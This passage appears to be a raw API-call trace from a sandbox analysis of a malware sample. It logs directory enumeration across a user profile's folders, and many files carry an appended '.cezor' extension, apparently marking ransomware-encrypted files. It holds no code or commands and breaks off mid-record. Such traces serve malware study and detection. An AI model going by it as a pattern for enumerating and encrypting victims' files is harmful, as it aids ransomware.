ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x16d7f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="y18suG.gif.cezor", cAlternateFileName="Y18SUG~1.CEZ")) returned 1 [0122.380] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d62650, ftCreationTime.dwHighDateTime=0x1d4c5b0, ftLastAccessTime.dwLowDateTime=0x573a21a0, ftLastAccessTime.dwHighDateTime=0x1d4cf39, ftLastWriteTime.dwLowDateTime=0x14797010, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x16d7f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="y18suG.gif.cezor", cAlternateFileName="Y18SUG~1.CEZ")) returned 0 [0122.380] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.381] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.381] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood\\") returned="PrintHood\\" [0122.381] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.381] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.381] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.381] PathFindFileNameW (pszPath="") returned="" [0122.381] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d62650, ftCreationTime.dwHighDateTime=0x1d4c5b0, ftLastAccessTime.dwLowDateTime=0x573a21a0, ftLastAccessTime.dwHighDateTime=0x1d4cf39, ftLastWriteTime.dwLowDateTime=0x14797010, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x16d7f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="y18suG.gif.cezor", cAlternateFileName="Y18SUG~1.CEZ")) returned 0xffffffff [0122.381] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.381] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\") returned="Recent\\" [0122.381] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.381] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.381] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.381] PathFindFileNameW (pszPath="") returned="" [0122.381] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d62650, ftCreationTime.dwHighDateTime=0x1d4c5b0, ftLastAccessTime.dwLowDateTime=0x573a21a0, ftLastAccessTime.dwHighDateTime=0x1d4cf39, ftLastWriteTime.dwLowDateTime=0x14797010, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x16d7f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="y18suG.gif.cezor", cAlternateFileName="Y18SUG~1.CEZ")) returned 0xffffffff [0122.381] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.381] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\") returned="Saved Games\\" [0122.381] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.381] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.382] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.382] PathFindFileNameW (pszPath="") returned="" [0122.382] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.382] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.382] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0122.382] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0122.382] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.382] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.382] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\") returned="Searches\\" [0122.382] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.382] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.382] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.382] PathFindFileNameW (pszPath="") returned="" [0122.382] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.382] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.383] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x20c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0122.383] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99d9932, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Everywhere.search-ms", cAlternateFileName="EVERYW~1.SEA")) returned 1 [0122.383] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 1 [0122.383] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0 [0122.383] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.383] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.383] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo\\") returned="SendTo\\" [0122.383] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.383] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.383] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.383] PathFindFileNameW (pszPath="") returned="" [0122.383] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0xffffffff [0122.383] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.383] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu\\") returned="Start Menu\\" [0122.383] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.383] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.383] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.383] PathFindFileNameW (pszPath="") returned="" [0122.383] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0xffffffff [0122.384] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.384] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates\\") returned="Templates\\" [0122.384] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.384] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.384] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.384] PathFindFileNameW (pszPath="") returned="" [0122.384] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0xffffffff [0122.384] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.384] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0122.384] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.384] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.384] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.384] PathFindFileNameW (pszPath="") returned="" [0122.384] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x14809430, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x14809430, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.384] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x14809430, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x14809430, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.384] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0122.384] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc161a830, ftCreationTime.dwHighDateTime=0x1d4c5cc, ftLastAccessTime.dwLowDateTime=0x6283aba0, ftLastAccessTime.dwHighDateTime=0x1d4ca14, ftLastWriteTime.dwLowDateTime=0x147e32d0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x7462, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="M45yR7c437.avi.cezor", cAlternateFileName="M45YR7~1.CEZ")) returned 1 [0122.384] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5aa9370, ftCreationTime.dwHighDateTime=0x1d4d376, ftLastAccessTime.dwLowDateTime=0x2fb0c790, ftLastAccessTime.dwHighDateTime=0x1d4cf68, ftLastWriteTime.dwLowDateTime=0x14809430, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x12d81, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ReEw7jE5wqOg.swf.cezor", cAlternateFileName="REEW7J~1.CEZ")) returned 1 [0122.385] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16d0a240, ftCreationTime.dwHighDateTime=0x1d4ccac, ftLastAccessTime.dwLowDateTime=0x14f53790, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x14f53790, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vcVOmt", cAlternateFileName="")) returned 1 [0122.385] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16d0a240, ftCreationTime.dwHighDateTime=0x1d4ccac, ftLastAccessTime.dwLowDateTime=0x14f53790, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x14f53790, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vcVOmt", cAlternateFileName="")) returned 0 [0122.385] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.385] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.385] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.385] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0122.385] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0122.385] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.385] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.385] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.385] PathFindFileNameW (pszPath="") returned="" [0122.385] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.385] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.385] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0122.385] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0122.386] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sun", cAlternateFileName="")) returned 1 [0122.386] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sun", cAlternateFileName="")) returned 0 [0122.386] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.386] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.386] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.386] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0oqCmMdMfyA -VyQ\\") returned="0oqCmMdMfyA -VyQ\\" [0122.386] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="Desktop\\" [0122.386] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.386] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.386] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.386] PathFindFileNameW (pszPath="") returned="" [0122.386] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0oqCmMdMfyA -VyQ\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc757f9d0, ftCreationTime.dwHighDateTime=0x1d4c589, ftLastAccessTime.dwLowDateTime=0x148556f0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x148556f0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.386] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc757f9d0, ftCreationTime.dwHighDateTime=0x1d4c589, ftLastAccessTime.dwLowDateTime=0x148556f0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x148556f0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.386] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4c1e0b0, ftCreationTime.dwHighDateTime=0x1d4cee7, ftLastAccessTime.dwLowDateTime=0x47533a60, ftLastAccessTime.dwHighDateTime=0x1d4c5bb, ftLastWriteTime.dwLowDateTime=0x1482f590, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x904d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="am8f6gN_e89TbRknT.wav.cezor", cAlternateFileName="AM8F6G~1.CEZ")) returned 1 [0122.386] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeadf23d0, ftCreationTime.dwHighDateTime=0x1d4d153, 